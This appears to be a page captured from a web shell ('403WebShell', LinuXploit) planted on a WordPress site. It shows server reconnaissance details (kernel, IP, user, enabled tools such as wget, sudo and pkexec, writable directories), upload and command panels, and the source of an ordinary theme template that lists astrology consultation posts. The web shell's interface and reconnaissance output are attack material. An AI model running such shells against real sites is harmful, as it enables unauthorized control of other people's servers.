Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/cosmicindrani.com/wp-content/themes/indrani/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/cosmicindrani.com/wp-content/themes/indrani/astrological-consultation.php
<section class="astroConsultSec maxwidth1150 mypy100">
	<div class="container">
		<div class="commonTitle">
			<h2><?php echo get_field( 'astrological_consultation_title', $post_id ); ?></h2>
			<img src="<?php echo get_field( 'astrological_consultation_title_divider', $post_id ); ?>" alt="" class="divider">
			<p><?php echo get_field( 'astrological_consultation_sub_title', $post_id ); ?></p>
		</div>
		<?php
			$astrologicalConsult = get_posts(array(
				'post_type' => 'astrological-consult',
				'post_status' => 'publish',
				'orderby' => 'date',
				'order' => 'ASC',
				'posts_per_page' => 300
			));

		if (!empty($astrologicalConsult)) : // Only display the slider section if there are posts
		?>
		<div class="row">
			<?php
				foreach ($astrologicalConsult as $astrologicalConsultListVal) {
			?>
				<div class="col-lg-4 col-md-6">
					<div class="card">
						<div class="imgBox">
							<img src="<?php echo get_field("icon", $astrologicalConsultListVal->ID); ?>" class="card-img-top" alt="...">
						</div>
						<div class="card-body">
							<h5 class="card-title"><?php echo get_the_title($astrologicalConsultListVal->ID); ?></h5>
							<p class="card-text">
							<?php
								$content = get_the_content(null, false, $astrologicalConsultListVal->ID);
								$word_limit = 12; 
								$trimmed_content = wp_trim_words($content, $word_limit, '...');
								echo $trimmed_content;
							?>
							</p>
							<a href="" class="btn">Read More</a>
						</div>
					</div>
				</div>
			<?php } ?>
		</div>
		<?php endif; ?>
	</div>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit